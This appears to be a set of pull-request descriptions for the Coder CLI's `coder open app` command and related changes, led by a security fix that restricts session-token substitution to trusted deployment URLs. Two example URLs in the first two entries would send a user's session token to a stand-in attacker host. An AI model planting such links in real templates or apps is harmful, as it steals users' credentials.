`coder open app` filled in `$SESSION_TOKEN` for every external app
defined in a template, wherever the link pointed. Since #31208 the
dashboard only does that when the link opens a known Coder IDE handler
and its `url` param is this deployment, so a template app like
`vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN`
was blocked in the dashboard but still got the token from the CLI.
This ports the same check to the CLI. A link is trusted when its `url`
matches the URL the CLI is logged in to or the deployment's dashboard
URL from build info. Links that fail the check are printed with a
warning and not opened, the same way sub-agent apps with the placeholder
already are. The Go check mirrors `isSessionTokenDestinationTrusted` in
`site/src/modules/apps/apps.ts` and the unit tests reuse its cases.
Params are parsed like `URLSearchParams`, which is what the IDE
extensions use. Where Go can't match the browser exactly, the CLI
rejects the link instead: non-ASCII hosts (browsers map them through
IDNA) and invalid percent escapes.
Heads up that template apps the dashboard already blocks will now stop
getting a token from `coder open app` too. This also adds a short
section to the template apps docs on when external app links get a
session token, since that wasn't documented for the dashboard either.
Fixes CLI-57
Follow-up to CORE-783:
https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.
Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.
Refactors the CLI to create the `*codersdk.Client` in the handlers. This is groundwork for changing the `rootCmd.InitClient()` to use the new `ClientOption`s.
It also improves variable locality, scoping the Client to the handler. This makes misuse less likely and reduces the memory allocations to just the command being executed, rather than allocating a Client for every command regardless of whether it is executed.
This pull request introduces support for external workspace management, allowing users to register and manage workspaces that are provisioned and managed outside of the Coder.
* coder external-workspaces create - Creates a new external workspace (this command extends coder create)
* Example: coder external-workspaces create ext-workspace --template=externally-managed-workspace -y
* Checks if template has coder_external_agent resource before creating a workspace
* coder external-workspaces list - Lists all external workspaces
* coder external-workspaces agent-instructions <workspace name> <agent name> - Retrieves agent connection instruction
* Example: coder external-workspaces agent-instructions ext-workspace main --output=json
This change allows a devcontainer to be opened via the agent syntax,
`coder open vscode <workspace>.<agent>` and removes the `--container`
option to simplify the subcommand. Accessing the subagent will behave
similarly to how the `--container` option behaved.
Fixescoder/internal#748
- Update go.mod to use Go 1.24.1
- Update GitHub Actions setup-go action to use Go 1.24.1
- Fix linting issues with golangci-lint by:
- Updating to golangci-lint v1.57.1 (more compatible with Go 1.24.1)
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-Authored-By: Claude <noreply@anthropic.com>
---------
Co-authored-by: Claude <claude@anthropic.com>
Fixes an oversight in https://github.com/coder/coder/pull/17032
The FE has logic to replace the string `$SESSION_TOKEN` with a
newly-minted session token.
This adds corresponding logic to the `coder open app` command.
Fixes https://github.com/coder/coder/issues/17009
Adds a CLI command `coder open app <workspace> <app-slug>` that allows
opening arbitrary `coder_apps` via the CLI.
Users can optionally specify a region for workspace
applications.